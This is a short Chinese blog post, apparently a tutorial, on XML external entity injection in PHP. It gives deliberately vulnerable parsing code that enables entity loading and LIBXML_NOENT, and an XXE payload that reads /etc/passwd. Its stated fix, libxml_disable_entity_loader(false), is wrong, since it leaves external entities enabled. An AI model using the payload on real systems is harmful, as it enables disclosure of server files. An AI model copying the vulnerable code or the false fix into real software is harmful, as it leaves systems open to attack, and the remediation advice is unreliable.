XML实体注入漏洞

xiaohai 2021-05-15 21:22:12 共1869人围观 标签： php 
简介XML实体注入漏洞

参考链接

<?php
libxml_disable_entity_loader(false);
//第一种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //必须要有这个SimpleXMLElement
    var_dump($xml); 
}

//第二种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = new SimpleXMLElement($data, LIBXML_NOENT);
    var_dump($xml);
}
?>

那么POST的data数据为：

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
    <name>&content;</name>
</note>

如果需要修复，只需要在前面加上：

libxml_disable_entity_loader(false);

相同类型文章

热门标签

每日一句

    世界上没有两片完全相同的树叶。

    ——莱布尼茨

今日排行

  • Electron只限制启动一次应用

    有时候我们并不想让自己的应用能多次进行启动，所以本文主要讲解下如何限制Electron的应用多次被启动。

  • 线性表(linear list)

    线性表是最基本、最简单、也是最常用的一种数据结构，一个线性表是n个具有相同特性的数据元素的有限序列。

  • grep：文本过滤工具

    grep命令是常用个一个命令。能够从文本文件或管道数据流中筛选匹配的行及数据，如果使用正则表达式进行一起使用，功能会更加强大。

  • 加密概念

    对加密相关概念整理

  • Nginx分割日志文件

    Nginx作为使用量非常大的Web服务器，但是如果遇到一个访问量比较大的网站，其访问日志会快速的进行增长，如果一直将所有的访问日志存放在一个文件中肯定是不对的，所以我们就需要对访问量大的访问日志进行分割，然后按照一定的时间删除不需要的日志文件。

点击排行

友情链接